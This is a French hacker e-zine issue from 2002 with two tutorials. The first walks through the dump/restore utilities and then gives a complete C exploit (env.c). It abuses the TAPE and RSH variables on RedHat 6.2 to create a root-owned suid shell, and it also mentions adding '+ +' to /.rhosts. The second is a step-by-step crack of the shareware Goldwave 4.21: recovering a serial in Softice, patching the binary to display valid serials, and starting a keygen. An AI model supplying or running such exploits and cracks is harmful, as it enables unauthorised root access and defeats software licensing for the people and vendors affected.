                             Input Output  Corporation                     
                             http://ioc.multimania.com
                                  P r e s e n t s




                   
                 
                  __  __ __     ___    __   __  ________ 
                 |  ||  '_  \ /  _  \ |  | |  ||_      _|   ___ 
                 |  ||  | |  ||   __/ |  '-'  |   |  |     / _ \_/\
                 |__||__| |__||__|     \______|   |__|     \/ \___/
                 ___    __   __  ________   ___   __   __  ________
               /     \ |  | |  ||_     _ |/  -  \|  | |  ||_      _|
              |  [ ]  ||   -   |   |  |   |   __/|  '-'  |   |  |
               \_____/  \______|   |__|   |__|    \______|   |__|
            __ ____ __     __ _   ___    __ _  _____  __  __ __      __
           |  '_   '_  \  /  ' | /   \  /  ' ||__  / |  ||  '_  \  /   \
           |  | |  | |  || [ ] || [ ] || [ ] |  / /_ |  ||  | |  ||  _ /
           |__| |__| |__| \____| \__  | \____| /____||__||__| |__| \____|
                                  |__/


                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
                       
                         Issue#3 v1.0    1er Avril 2002

                        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                  



                           
        




----------------------------------------------------------------------------------------
                               >>>  EDITO  <<<                              IOC Staff
----------------------------------------------------------------------------------------


Pour commençer, je tiens à préciser que je vous ferai grâce du désormais célèbre
et rébarbatif << poisson d'avril >> dont le sens m'échappe  encore  aujourd'hui.
C'est d'ordinaire MeiK ( anciennement Lex Icon ) qui prend la plume  pour ce qui
est de l'edito, mais au vu des circonstances, c'est moi même ( Neofox )  qui m'y
colle pour une fois ; en effet, comme  vous aurez l'occasion de  le constater en
prennant conaissance du sommaire, MeiK a été pas mal occupé ces derniers mois et
n'a pas disposé de tout le temps qu'il aurait souhaité. Aussi sa participation à
cette nouvelle issue est elle relativement réduite. Il vous explique cela un peu
plus longuement à la fin de ce mag. Enfin, ce n'est pas là toute l'actualité  du 
groupe : en effet, suite à notre changement de nom il y presque trois mois, nous
nous sommes restructuré et de la  formation initiale, restent MeiK et moi même ;
Peu aprés, deux nouveaux membres ont  rejoint l'équipe : Emper0r et Disk-Lexic ;
c'est donc aujourd'hui leur première participation au magazine, et  leur apprort
respectif en matière de prog. et de cracking a contribué à etoffer le  sommaire.
Par ailleurs, je dois vous signaler que MeiK a réalisé un petit document destiné
aux newbies ; nous ne l'avons pas mis dans le mag car il risquait de dépareiller
mais vous pouvez le trouver ici : ioc.multimania.com/mag/issue3/newbies-faq.txt.
Je vais profiter de cet edito pour saluer Abël et Jamu (http://hianda.fr.st) qui 
se sont lançé de leur coté dans une aventure semblable à la nôtre, bonne chance!
Une autre information et pas des moindres : Androgyne, ex-membre de la RtC, nous
a fait le plaisir de collaborer à cette issue !  Je  vous  laisse  découvrir son
travail dont  elle nous à réservé  l'exclusivité, un peu plus loin dans le mag ;
Merci à toi ! En avant donc, pour cette nouvelle issue, et bonne lecture !







----------------------------------------------------------------------------------------
                          >>>  AVERTISSEMENT <<<                           IOC Staff
----------------------------------------------------------------------------------------


Plutôt par tradition que par nécessité  ...
Est-il besion de vous rappeler que les articles qui vont suivre ne sont ici que
dans un but ludique ? Cela va de soi, et vous y êtes habitué  je pense. 
Nous déclinons donc toute responsablité quant l'utilisation qui pourrait en 
être fait par des individus aux moeurs plus que douteuses, qui se reconnaîtront. 
Comme toujours, si vous ou l'un de vos collaborateurs étaient pris ou tué, le
Département d'Etat niera avoir eut conaissance de vos agissements.







----------------------------------------------------------------------------------------
                            >>>  ON RECRUTE ! <<<                           IOC Staff
----------------------------------------------------------------------------------------


Nous sommes à présent 4 à prendre part  à l'écriture de  ce mag ; c'est mieux, mais
c'est peu ; et comme on dit,  plus on est de fous rit !  On voudrait qu'à  terme ce 
mag soit l'occasion d'une collaboration entre de nombreux passionnés, tous domaines
confondus, secu/intrusion, cracking, phreaking et coding en tous genres. C'est pour
cela qu'on recrute, encore et toujours. Nous recherchons ... vous savez ce que nous
recherchons ; des gens passionnés, comme on vient de le dire, qui possèdent d'assez
bonnes conaissances en C/C++, ASM, Perl, Réseaux, Secu/Intrusion, Crypto, Phreaking
etc...Pour ceux qui seraient souhaiteraient se joindre à nous, envoyez nous un mail
en expliquant qui vous êtes et vos motivations.






                                                            
        ___    ___    __ ____ __    __ ____ __     __ _  __  ____    __
       / __/ /     \ |  '_   '_  \ |  '_   '_  \  /  ' ||  ||  __| /   \
       \__ \|  [ ]  ||  | |  | |  ||  | |  | |  || [ ] ||  || |   |  - /
       |___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_|    \____|


          ------------------------------------------------------------
         |  Auteur    | n°  |              T i t r e                  |
          ------------------------------------------------------------    
         |  Neofox    |I.   |         Redhat Linux : Dump             |
          ------------------------------------------------------------
         |  Emper0r   |II.  |        Cracking : Goldwave4.21          |
          ------------------------------------------------------------
         | Androgyne  |III. |          Crypto : Penelope              |
          ------------------------------------------------------------
         | Disk-Lexic |IV.  |      Programmation Win32asm  Part1.     |
          ------------------------------------------------------------ 
         |   MeiK     |V.   |           Petit Script Utile            |
          ------------------------------------------------------------ 
         |  Neofox    |VI.  |          Prog. Log Cleaners             |
          ------------------------------------------------------------
         |  Neofox    |VII. |             Getafix V1.0                |
          ------------------------------------------------------------
         |  Emper0r   |VIII.|           Windows's Notepad             |
          ------------------------------------------------------------ 
         |  Neofox    |IX.  |               Backpass.c                |
          ------------------------------------------------------------
         |  Neofox    |X .  |            Profil : Neofox              |
          ------------------------------------------------------------  
         | IOC Staff  |XI.  |                Contacts                 |
          ------------------------------------------------------------ 






                        -=-=-=-=-=-=-=-=-=-=-=-
                          Contenu de l'archive
                        -=-=-=-=-=-=-=-=-=-=-=-
 
                            ¤ ioc3.txt
                            ¤ goldwave.zip
                            ¤ penelope.zip









----------------------------------------------------------------------------------------
I.               RedHat Linux :  dump & restore                   par Neofox      
----------------------------------------------------------------------------------------



[ Introduction ]

Nous allons parler d'un utilitaire présent sous linux auquel il est possible de 
faire exécuter nos propres commandes avec les privilèges root. Cette vulnérabilitée
n'est pas trés détaillée, et les quelques textes qui y font référence n'abordent
que l'aspect "exploit", mais je pense qu'il aussi instructif d'étudier le 
fonctionnement normal du programme en cause, afin de comprendre en quoi il peut
être exploitable. On va donc voir en premier lieu à quoi sert ce programme,
comment il s'utiliser, puis pourquoi est-ce qu'il est vulnérable, pour enfin 
expliquer comment écrire son "exploit"  - décidemment, j'aime pas ce terme ". 








                
                    ++++ | Partie I :  Dump en détail | ++++
                                 
                                  => dump & restore
                                  => en remote
                            
 


    
   1. Dump & Restore :
   ___________________




[ Dump ]


Il s'apelle dump, on le trouve sous linux dans /sbin.
C'est un utilitaire de sauvegarde, dont voici un exemple de syntaxe:

[root@localhost]# mkdir /test
[root@localhost]# cd /test
[root@localhost]# touch file1 file2 file3 file4
[root@localhost]# ls 
file1 file2 file3 file4
[root@localhost]#                                  <= nous avons crée nos fichiers
                                                      exemples, reste a les sauvegarder.

[root@localhost]# dump 0f /backup /test
   DUMP: Date of this level 0 dump: Thu Feb 14 21:35:06 2002
   DUMP: Date of last level 0 dump: the epoch
   DUMP: Dumping /dev/hda5 (/ (dir test)) to /backup
   DUMP: Label: none
   DUMP: [...]
   DUMP: finished in 1 seconds, throughput 321 KBytes/sec
   DUMP: Average transfer rate: 321 KB/s
   DUMP: DUMP IS DONE
[root@localhost]#  


Voila, nous avons sauvegardé les fichiers de /test dans /backup :

[root@localhost]# ls -al /backup 
-rw-r--r--    1 root     root            327680 fév 14 21:35 /backup
[root@localhost]#

Comme vous pouvez le voir ici, backup est un fichier et non un répertoire,
contrairement à ce qu'on pourrait croire. En somme, tout le contenu de notre
répertoire /test est à présent stocké dans "backup". Ainis, supposons que 
les fichiers de /test soient altérés ou détruits, vous seriez alors a même 
de les restaurer en intégralité, cela grâce à la commande 'restore' que nous 
verrons plus loin.

La commande que nous avons utilisée est :  # dump 0f /backup /test


           ¤ '0' désigne le niveau de sauvegarde. Ce chiffre peut varier
           entre 0 et 9. Plus le chiffre est petit, plus la sauvegarde 
           sera complète. le niveau 0 correspond à une sauvegarde complète.
           Les niveaux 1 à 9 quant à eux, ne sauvegarderont que les fichiers
           modifiés depuis la dernière sauvegarde d'un niveau inférieur. 

           ¤ L'option 'f' précède le nom du fichier de destination, dans lequel
           on va effectuer la sauvegarde. D'autres options sont disponnibles,
           mais je vous renvoie aux pages de man pour plus d'infos.


           ¤ backup est le fichier dans le quel va être effectué la sauvegarde.
           Je l'ai mis dans / mais vous pouvez tout aussi bien effectuer la sauvegarde
           ailleurs.

           ¤ /test est  le répertoire qui va être sauvegardé par dump.   




Le fichier /etc/dumpdates enregistre les dates des sauvegardes.
De cette manière dump peut prendre conaissance de la date de la dernière sauvegarde
pour déterminer quels fichiers on été changés depuis. Il va ne va donc sauvegarder que
les denières modifications, ceci biensur dans le cas où vous utilisez un autre niveau
de sauvegarde que le niveau 0.


Vous avez sauvegardé les fichiers vitaux de votre système, comme par exemple /etc.
S'il vous arrivait par la suite, d'endomager involontairement un fichier clé, 
par erreur, genre :

[root@localhost]# rm -f /etc/passwd*             <= Oups !?

Bon, ça c'est l'exemple à la con, mais tout ça pour dire que si un de ces fichiers
est altéré, il serait alors possible de restaurer le contenu du répertoire à partir
de vôtre sauvegarde, et ceci grâce à un outil nommé "restore".



[ restore ]

/sbin/restore permet comme son nom l'indique et comme nous l'avons déja dit, 
sert à restaurer un système de fichiers à partir de la dernière sauvegarde
qui en a été faite. Voici un exemple d'utilisation, on continue avec l'exemple
précédent :

[root@localhost]# cd /test
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# rm -f test3 test4
[root@localhost]# ls
test1 test2
[root@localhost]#                                    <= on a volontairement supprimé
                                                        les fichiers 3 et 4 que nous
                                                        avions préalablement sauvegardé.


[root@localhost]# cd /
[root@localhost]# pwd
/
[root@localhost]# restore rf /backup /test 
[root@localhost]# cd /test
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]#                                     <= Les fichiers que nous avions 
                                                         supprimé il y a 10 sec viennent
                                                         d'être restaurés en fonction de
                                                         la sauvegarde qui en avait été
                                                         faite avec dump.



La syntaxe de restore que nous avons utilisée est :

[root@localhost]# restore rf /backup /test

   

          ¤ 'r' signifie que l'on demande un restauration compléte 
          du système de fichiers à partir de la sauvegarde.

          ¤ 'f' permet de spécifier le fichier de sauvegarde à utiliser
          pour la restauration. En l'occurence, il s'agit de /backup.

          ¤ /backup, comme nous venons de le dire, est le fichier 
          de sauvegarde que nous avons réalisé tout à l'heure avec dump.

          ¤ /test est le système de fichier qui a été altéré, ou que l'on
          veut remettre en plaçe selon une ancienne configuration.
          

Pour plus de détails sur les options de restore, même topo que pour dump, reportez
vous à man.


Voila, nous avons vu comment fonctionnent restore et dump, dumoins pour ce qui est 
de l'utilisation locale ...





      2. En Remote :
      _______________
          

Eh oui, comme le laissait entendre ma dernière phrase, dump et restore sont également
prévus pour une utilisation à distance. En effet, il est possible de sauvegarder une
partie du disque local sur le disque ou sur le /dev/st0 (tape) d'une machine distante. 
De même, on peut restaurer un système de fichier à partir d'une sauvegarde distante.
Il faut être root pour effectuer une sauvegarde/restauration en remote.


[ Fonctionnement ]

Pour reprendre mon exemple de tout à l'heure, nous allons sauvegarder le contenu
du répertoire /test dans le fichier nommé "backup" et situé à la racine d'une machine
distante que l'on apellera "machine.distante.com" ( je me suis visiblement pas trop
foulé pour le nom ... ) :


[root@localhost]# dump 0f machine.distante.com:/backup /test
   DUMP: Date of this level 0 dump: Sun Feb 17 19:27:30 2002
   DUMP: Date of last level 0 dump: Thu Feb 14 21:35:06 2002
   DUMP: Dumping /dev/hda5 (/ (dir test)) to machine.distante.com:/backup
   DUMP: Label: none
   DUMP: [...]
   DUMP: finished in 1 seconds, throughput 321 KBytes/sec
   DUMP: Average transfer rate: 321 KB/s
   DUMP: DUMP IS DONE
[root@localhost]# cd /test
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# rm -f test3 test4
[root@localhost]# ls 
test1 test2
[root@localhost]# cd ../
[root@localhost]# restore -rf machine.distante.com:/backup /test
[root@localhost]# cd /backup
[root@localhost]# ls
test1 test2 test3 test4
[root@localhost]# echo "tous nos fichiers sont de nouveau là ;@)"
tous nos fichiers sont de nouveau là ;@)
[root@localhost]#







Effectuer des backups en remote sur une machine distante suppose d'y être autorisé ...
Ce sont donc les fichiers .rhosts qui vont être utilisés par la machine distante
pour authentifier le client et déterminer déterminer s'il peut oui ou non y effectuer 
une sauvegarde. Lorsque l'option 'f' n'est pas spécifiée dans le cas d'une sauvegarde 
ou d'une restauration à distance, dump & restore explorent le contenu de deux varaibles 
d'environement : TAPE et RSH.




[ TAPE ]

La variable TAPE permet à dump et restore de déterminer le nom du fichier de sauvegarde, 
ainis que le nom de la machine sur laquelle ou depuis laquelle la sauvegarde doit être
sotckée ou restaurée. Le contenu de cette variable est du type "machine:/fichier_backup"
ou encore "user@machine:/fichier_backup". La variable TAPE doit donc contenir le caractère
séparateur ":". Si cette varaible est déclarée, dump et restore explorent alors le contenu
de la variable RSH.


[ RSH ]

Aprés avoir déterminé le nom de la machine et du fichier distant, dump et restore doivent
connaître le nom du remote shell à invoquer pour effectuer la backup ; par remote shell, 
j'entends rlogin/rsh/ssh. En d'autres termes, dump va exécuter le contenu de cette variable.












                 ++++ | Partie II : Exploiter dump & restore | ++++
                                 
                                  => Explications
                                  => Programmation
                                  => env.c
                            


[ Avertissement ]

Nous venons de voir comment fonctionnent les utilitaires dump et restore dans le cadre
d'une utilisation locale et à distance. Si nous en sommes arrivés là, c'est pour parler
de la manière de les détourner pour gagner un accès root. Et c'est là que je dois préciser
quelque chose : je n'ai rien inventé ; la découverte de cette vulnérabilité n'est pas de 
moi, d'ailleurs je ne prétends pas qu'il en soit autrement, qu'il n'y ait pas de mal entendu !
Autre chose : dans un de ses articles, par ailleurs excellents, Sauron fait référence à cette 
faille en guise d'exemple, pour illustrer les problèmes dus aux varaibles d'environement ; je 
ne fais ici que détailler le fonctionnement des deux variables en cause et proposer un petit 
cours sur l'excriture de l'exploit qui s'y rapporte, sans plus. Puisque tout est clair à présent, 
nous pouvons continuer.








     1. Explications :
     _________________


Le but est de faire exécuter à dump nos propres commandes avec les privilèges root.
Il faut pour cela que dump soit suid, de même que restore. On sait que, lors d'une 
demande de sauvegarde à distance, dump fait appel aux variables TAPE et RSH pour savoir 
où envoyer la sauvegarde et via quel remote shell  exécuter la demande. L'idée est de
faire passer à $RSH notre propre commande, pour que celle-ci soit exécutée par dump.
Il faut pour cela remplir la variable $TAPE comme s'il s'agissait d'une sauvegarde
à distance, donc avec un truc comme "machine:/file". Si cette variable est déclarée,
dump ( ou restore ) va alors exécuter le contenu de $RSH. En faisant exécuter à $RSH
notre propre script, on peut se créer un shell suid, ou mettre /etc/passwd en lecture 
écriture, ou encore faire "echo + + >> /.rhosts", mais le shell suid reste le plus
discret. Bien évidemment, on peut faire notre manip manuellement, mais c'est tellement 
plus marrant la programmer ... question de point de vue !




[ Qui est vulnérable ? ]

Cette vulnérabilité de dump/restore est présente par défaut sur les RedHat 6.2.
J'ai pu constater sur ma Rh7.0 que le problème était corrigé. /sbin/dump n'était 
pas suid à l'origine, je l'ai donc mis au mode 6755 pour voir s'il y avait moyen 
d'en abuser ; en tant que simple utilisateur, on peut toujours faire exécuter des 
commandes à dump, mais les privilèges root ne s'appliquent pas, même si ce dernier 
est suid. En effet, les versions vulnérables sont "dump-0.4b15x" et "restore-0.4b15x",
et ce sont ces dernières que l'on trouve sur les 6.2 par défaut.
Si votre machine semble présenter cette vulnérabilité, deux solutions s'offrent à vous
pour remédier au problème : chmod -s /sbin/dump /sbin/restore et mise à jour des packages.





     2. Programmation :
     __________________


On va procéder par étapes : 

¤ Etape 1 : on s'assure que dump et restore sont suid.  
¤ Etape 2 : on crée un script contenant nos commandes.  
¤ Etape 3 : on rend notre script exécutable.              
¤ Etape 4 : on déclare la variable TAPE="test:test".           
¤ Etape 5 : on déclare RSH pour lançer notre script.      
¤ Etape 6 : Enfin, exécute au choix dump ou restore.         






[ Etape 1 ]

Bien, commençons par le commençement ; on va controler que dump ou restore
ou les deux sont bien présents et si c'est le cas, qu'ils sont bien suid.
On va pour cela utiliser la fonction : stat(). Il faut au préalable déclarer
le fichiers "sys/stat.h", "sys/types.h" et "unistd.h". La fontction stat() 
utilise une structure du type "stat" pour donner des informations relatives 
à un fichier. Voici la composition siplifiée de la structure stat :


struct stat {

  mode_t   st_mode    /* Bits de permission de l'objet */
  uid_t    st_uid     /* uid du fichier */
  gid_t    st_gid     /* sont gid */
  time_t   st_ctime   /* heure de la dernière modification */
  
}

En réalité, la sturcutre stat est plus complexe, mais voici de quoi nous occuper.
Ce qui nous intéresse ici, c'est le champ st_mode, puisqu'il va nous permettre
de connaître le mode de dump/restore, afin de déterminer s'ils sont suid ou non.


Compilez et d'exécutez le code suivant :

---------8<----------------------------------------------------------

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>

sturct stat status;

int main (int argc, char *argv[]){

      if(argc!=2){
          fprintf(stderr,"Usage : %s file\n", argv[0]);
          exit(1);
      }

      if(stat(argv[1],&status)!=-1){
           fprintf(stdout,"Le mode de %s est %d\n",argv[1],status.st_mode);
      } else {
           fprintf(stderr,"%s n'existe pas !\n", argv[1]);
           exit(-1);
      }

}

---------8<----------------------------------------------------------


Si voulez afficher le mode d'un binaire suid, vous remarquez que les nombres
qui aparaissent ne sont pas comme on pourrait s'y attendre les traditionnels
04755, 06755 et autres. Nous voulons que dump soit suid et généralement, lors 
qu'il l'est par défaut, on le trouve au mode 04755 ou 06755 ; voici donc la
correspondance entre la valeur générée par stat(), le mode littéral et le mode
octal. Un exemple :

   -rwsr-sr-x    06755    =>  36333 
   -rwsr-xr-x    04655    =>  35309
   
Vous voyez que les valeurs générées par stat() sont bien différentes des modes
habituels. On peut également utilser d'autres valeurs correspondant à d'autres
modes où l'exécutable est suid. Dans tous les cas, il faut pour que dump soit 
exploitable, que dump apartienne au root. 
Nous allons plaçer le code suivant pour contrôler que l'exécutable ait les bons
droits :

                  if((status.st_mode!=36333)&&
                       (status.st_mode!=36351)&&
                           (status.st_mode!=35309)&&
                               (status.st_mode!=35145)){
                      fprintf(stderr,"/sbin/dump n'est pas suid, exiting!\n",);
                      exit(-1);
                  }





[ Etape 2 et 3 ]

Nous voulons un shell suid. On va dans un premier temps créer un script
avec nos commandes. Exemple :
 

  $ echo "cp /bin/sh $HOME/shell" > /tmp/script
  $ echo "chmod 6755 $HOME/shell" >> /tmp/script
  $ chmod +x $HOME/shell

Ce qui donne en C :

fd=fopen(SCRIPT, "w");
fprintf(fd,"#!/bin/sh\n");
fprintf(fd,"cp /bin/sh %s\n",SHELL);
fprintf(fd,"chown root %s\n",SHELL);
fprintf(fd,"chgrp root %s\n",SHELL);
fprintf(fd,"chmod 6755 %s\n",SHELL);
fprintf(fd,"rm -f %s\n", SCRIPT);
fclose(fd);
chmod(SCRIPT,00555); 




[ Etape 4 et 5 ]

On s'occupe de $TAPE et $RSH :

setenv("TAPE","test:test",0);
setenv("RSH",SCRIPT,0);





[ Etape 6 et 7 ]

Voila, les conditions sont réunies, nos variables déclarées et notre
script fin prêt à être exécuté : reste à apeller dump :

system("dump -0 /nimportequoi");

Notre script a été exécuté avec les propriétés du root, et nous a crée 
un shell suid dans notre homedir.

Si tout s'est bien passé, nous devrions avoir accès au compte root.
Comme vous pouvez le constater, c'est relativement simple, encore
fallait il connaître le fonctionnement des programmes en cause.





           3. env.c :
           __________


Voici en guise d'illustration "l'exploit" en C pour cette vulnérabilité.
Je tiens à nouveau a preciser que je la découverte de cette faille n'est
pas de moi ; je n'ai rien inventé et donc aucun mérite ; j'ai simplement 
détaillé une vulnérabilité a laquelle Sauron faisait référence dans l'un 
de ses articles, et transposé la manip en C. Ah, j'oubliais : j'ai utilisé 
des sleep() ici, mais c'est juste pour faire joli lors de l'exécution ...



---------8<----------------------------------------------------------


/*  Simply exemple of dump exploit 
 *  -by the guy who wrote this
 *  Copyright © 2002 nobody
 */ 

#include <stdio.h> /* printf, fprintf */
#include <fcntl.h> /* fopen, fclose */
#include <time.h>  /* sleep */
#include <stdlib.h> /* setenv, getenv, unsetenv */
#include <unistd.h> /* stat */
#include <sys/types.h> /* stat */
#include <sys/stat.h> /* stat */
#define CMD "dump -0 /null" /* used to run dump */
#define SHELL "$HOME/shell" /* suid shell */
#define DUMP "/sbin/dump" /* what ? */ 
#define SCRIPT "/tmp/script" /* script run by dump */
#define TAPEVALUE "test:/test" /* $TAPE */


FILE *fd;
char buf[50];
struct stat status;



int main ( int argc, char *argv[] ){


      if(argc!=1){
          fprintf(stderr,"Usage : %s\n", argv[0]);
          exit(-1);
      }
       
fprintf(stderr,"*** Dump | Restore simply exploit ***\n");
fprintf(stderr,"[1]-Checking dump ..."); sleep(1);
            
      if (stat(DUMP,&status)==-1 ){
           fprintf(stderr,"error!\n");
           fprintf(stderr,"[*]-Can't find %s , exiting!\n",DUMP);
           exit(-1);
      }
      else { 

                  if((status.st_mode!=36333)&&
                       (status.st_mode!=36351)&&
                           (status.st_mode!=35309)&&
                               (status.st_mode!=35145)){
                      fprintf(stderr,"error!\n");
                      fprintf(stderr,"[*]-%s n'est pas suid, exiting!\n",DUMP);
                      exit(-1);
                  
                  }
                  else
                      fprintf(stdout," done!\n"); 
  
      }                
      
    
fprintf(stderr,"[2]-Creating %s ...", SCRIPT);sleep(1);   
fd=fopen(SCRIPT, "w");
fprintf(fd,"#!/bin/sh\n");
fprintf(fd,"cp /bin/sh %s\n",SHELL);
fprintf(fd,"chown root %s\n",SHELL);
fprintf(fd,"chgrp root %s\n",SHELL);
fprintf(fd,"chmod 6755 %s\n",SHELL);
fprintf(fd,"rm -f %s\n", SCRIPT);
fclose(fd);
chmod(SCRIPT,0555);
fprintf(stderr," done!\n");
system("ls -al /tmp/script"); 
fprintf(stderr,"[3]-Setting TAPE and RSH ...");sleep(1);
setenv("RSH",SCRIPT,0); 
setenv("TAPE",TAPEVALUE,0);
fprintf(stderr," done!\n");
fprintf(stderr,"[4]-We're ready : running %s ...\n",DUMP);sleep(1);
system(CMD);
fprintf(stderr,"[5]-  Allright, exiting!\n");
sprintf(buf,"ls -al %s",SHELL); 
system(buf); 
return 0;

}




---------8<----------------------------------------------------------


  



[ Conclusion ]

Pourquoi avoir parlé de cette vulnérabilité ? Je sais pas ; sûrement parceque
je trouve le concept assez sympathique, question de point de vue ; et en théorie, 
pas besoin d'avoir recours à la prog. C, mais bon ... on aime ça non ?



                                     












--------------------------------------------------------------------------------------------------
II.                        Cracking : Goldwave4.21                                 Emper0r
--------------------------------------------------------------------------------------------------



                     ++++++++++++++++++++++++++++++++++++
                     +++ Fichier Joint : goldwave.zip +++
                     ++++++++++++++++++++++++++++++++++++
                


[ Introduction ]

Pour mon premier article je vais vous parler de cracking, notre cible serat Goldwave4.21
un petit outil de retouche de musique sympa, on peut le trouver sur http://www.goldwave.com. 
Je me suis aperçu après avoir fait ce tuto qu'une version plus récente était dispo sur le 
site. Cela ne change rien les routines d'enregistrement sont les même, seul les offset change 
et quelques petits détails. 



   ¤ Protection: Rien en particulier, le serial est enregistré dans 
                 un fichier .ini et est testé a chaque démarage

   ¤ Outils : Wdasm32, Softice, un editeur hexa, procdump, 
              un compilateur asm (TASM), un compilateur pascal

   ¤ Objectifs: Trouver un serial valide, présentation du RE, 
                faire un Keygen, patcher le prog.



Ce tuto s'adresse aux newbies mais je considère que vous avez deja quelques base en asm, 
que vous avez deja utilisé softice et Wdasm.











                   ++++ | Partie I : Trouver un serial valide | ++++



Pour commencer on lance le programme qui nous dit que cette version est une version shareware et
que l'on doit s'enregistrer etc.... Bon on va dans option puis Register et on met des valeurs bidon 
dans la boite. La on n'appuie pas sur OK de suite, on fait surgir Softice (Ctrl+d) et on pose un 
breakpoint. On tape bpx hmemcpy suivit de Entrée puis F5, ceux qui nous fait revenir a goldwave on 
appuis sur OK. La softice break normalement, 2 pression sur F5 pour enregistrer toutes les données 
de la boite d'enregistrement. Au bout de quelques F12 on arrive ici:


:004623F7 E818F8FFFF              call 00461C14			;Analyse le serial	
:004623FC 59                      pop ecx
:004623FD 84C0                    test al, al			;Teste si al=00
:004623FF 0F8597000000            jne 0046249C			;al=01, sérial correct  
                                                                ;  on saute en 46249C

* Possible StringData Ref from Data Obj ->"Register"
                                  |
:00462405 8B1518204F00            mov edx, dword ptr [004F2018]
:0046240B 8B4E43                  mov ecx, dword ptr [esi+43]
:0046240E 8B01                    mov eax, dword ptr [ecx]
:00462410 6A30                    push 00000030
:00462412 52                      push edx

* Possible StringData Ref from Data Obj ->"Invalid registration.  Please "
                                        ->"be sure to enter your name and "
                                        ->"password exactly as given in the "
                                        ->"license."
                                
:00462413 6805254F00              push 004F2505
:00462418 8B500C                  mov edx, dword ptr [eax+0C]
:0046241B 52                      push edx
:0046241C 8B4868                  mov ecx, dword ptr [eax+68]
:0046241F 51                      push ecx
:00462420 E8176F0200              call 0048933C			;Va ouvrir la messagebox



Bon ben la je voit pas comment ca peut être plus clair :)
A la ligne 4623FD, le prog teste le contenu de AL, si Al = 00 le saut en 4623FF ne ce fait pas,
et on voit en 462420 le call qui va nous ouvrir la messagebox pour nous dire que notre code est 
incorrect. On peut donc supposer que le call en 4623F7 va placer 01 ou 00 dans AL suivant que 
notre code est valide ou pas.


On va pas rentrer dans le call en 4623F7 tout de suite ; on le passe en faisant F10 au lieu de 
F8, une fois arrivés en 4623FC on regarde ce qui a changé dans les registres, en faisant D EDX 
on trouve quelque chose qui ressemble vraiment a un serial. On note ce sérial on enlève les 
breakpoints: BC*, et on sort de Softice: F5. On teste notre serial en remettant le même Firt&Last 
Name et le password trouvé, on appui sur ok et voilà on est register. C'est de la rigolade, 
le serial est meme pas effacé avant de sortir du call.

C'est pas la peine d'essayer d'inverser le saut en 4623FF pour lui faire accepter tout les 
serials, car le serial ainsi que notre First&Last name sont enregistré dans un fichier .ini 
(c:\windows\goldwave.ini). Le prog va lire a sont prochain lancement, les donné enregistré 
dans ce fichier et il va voir que le sérial est incorrect. En plus inverser un saut sans chercher 
à aller plus loin est vraiment ce qui as de plus nul a faire dans ce cas. On verra plus tard comment 
patcher pour lui faire accepter tout les serials, et patcher pour qu'il soit enregistré sans même 
mettre de sérial.

Bon voilà j'ai expliqué rapidement cette première parti car ca me parait très simple. 







                 ++++ | Partie II : Présentation du Reverse Engineering | ++++



On va faire un peu de RE, bien que là ce soit tellement simple et classique que l'on ne peut
pas vraiment parler de RE. On va transformer le programme pour que au lieu qu'il nous affiche 
la fenêtre disant code incorrect il nous donne le serial valide :


* Possible StringData Ref from Data Obj ->"Register"
                                  
:00462405 8B1518204F00            mov edx, dword ptr [004F2018]
:0046240B 8B4E43                  mov ecx, dword ptr [esi+43]
:0046240E 8B01                    mov eax, dword ptr [ecx]
:00462410 6A30                    push 00000030
:00462412 52                      push edx

* Possible StringData Ref from Data Obj ->"Invalid registration.  Please "
                                        ->"be sure to enter your name and "
                                        ->"password exactly as given in the "
                                        ->"license."
                                  
:00462413 6805254F00              push 004F2505
:00462418 8B500C                  mov edx, dword ptr [eax+0C]
:0046241B 52                      push edx
:0046241C 8B4868                  mov ecx, dword ptr [eax+68]
:0046241F 51                      push ecx
:00462420 E8176F0200              call 0048933C			;Va ouvrir la messagebox




On sait que avant la ligne 462405 EDX pointe vers notre serial valide, on voit en 462412 que
le titre de la fenêtre serat ce que pointe EDX, en 462405 EDX est initialise il suffit de nopper
(nopper = remplacer certain octet par un: NOP -> No Operation)  toutes cette ligne, donc EDX 
pointera toujours vers le sérial. Pour que se soit plus joli on inverse le push EDX en 462414 
par le push 4F2505 comme sa le serial ce trouve dans la messagebox et pas comme titre.
On va aussi avec un éditeur hexa Remplacer le "Invalid Registration. Please...." par 
"Votre code d'enregistrement est : " puis une série de 00. 
Voilà ce que sa donne :


:004623FD 84C0                    test al, al
:004623FF 0F8597000000            jne 0046249C
:00462405 90                      nop
:00462406 90                      nop
:00462407 90                      nop
:00462408 90                      nop
:00462409 90                      nop
:0046240A 90                      nop
:0046240B 8B4E43                  mov ecx, dword ptr [esi+43]
:0046240E 8B01                    mov eax, dword ptr [ecx]
:00462410 6A00                    push 00000000		

* Possible StringData Ref from Data Obj ->"Votre code d'enregistrement est "
                                        ->":"
                                 
:00462412 6805254F00              push 004F2505
:00462417 52                      push edx

Mouarff c'est plutôt bourrin et surtout dégueulasse ;) mais ca marche et puis c'est juste pour
faire une petite présentation au RE ;-). Maintenant lorsque que l'on entre un pass incorect le 
programme affiche une fenêtre pour nous donner le serial valide calculer en fonction de notre 
first & last name. C'était encore très simple mais marrant a faire, maintenant on passe aux 
choses sérieuses: le Keygen.












                   ++++ | Partie III : Le Keygen | ++++




Ce programme est idéal pour le newbies, la génération du sérial est simple, juste des calculs
qui ce suivent. Pour les keygen je préfère souvent tracer le prog avec le debugeur de Wdasm 
plutot que softice. De toute facon Wdasm ou softice ca change rien une fois que l'on a poser 
le breakpoint.

Pour placer un breakpoint sur le call 00461C14, a la ligne 004623F7:

 ¤ Avec Wdasm:
Sous Wdasm: menu debug----> Load process et on appuis sur OK.
Ensuite Goto--->Code location--->4623F7 pour ce placer sur le call.
Une fois ici on appui sur F2 pour placer un Breakpoint. 
La il faut taper F9 pour lancer le programme.

 ¤ Avec softice
Il faut d'abord changé le flags de la section .text pour que softice puisse
breaker. Pour faire ca on prend ProcDump on clique sur PE editor, on ouvre 
notre prog, on clique sur sections. La on fait clik bouton droit sur .text 
pour aller dans edit section. Il faut changer Sections characteristiques: 
60000020 en E0000020. On ouvre notre prog avec le symbol loader, on le lance 
softice break direct, il reste plus qu'a taper Bpx 4623F7, Entrée et F5, le 
programme ce lance.


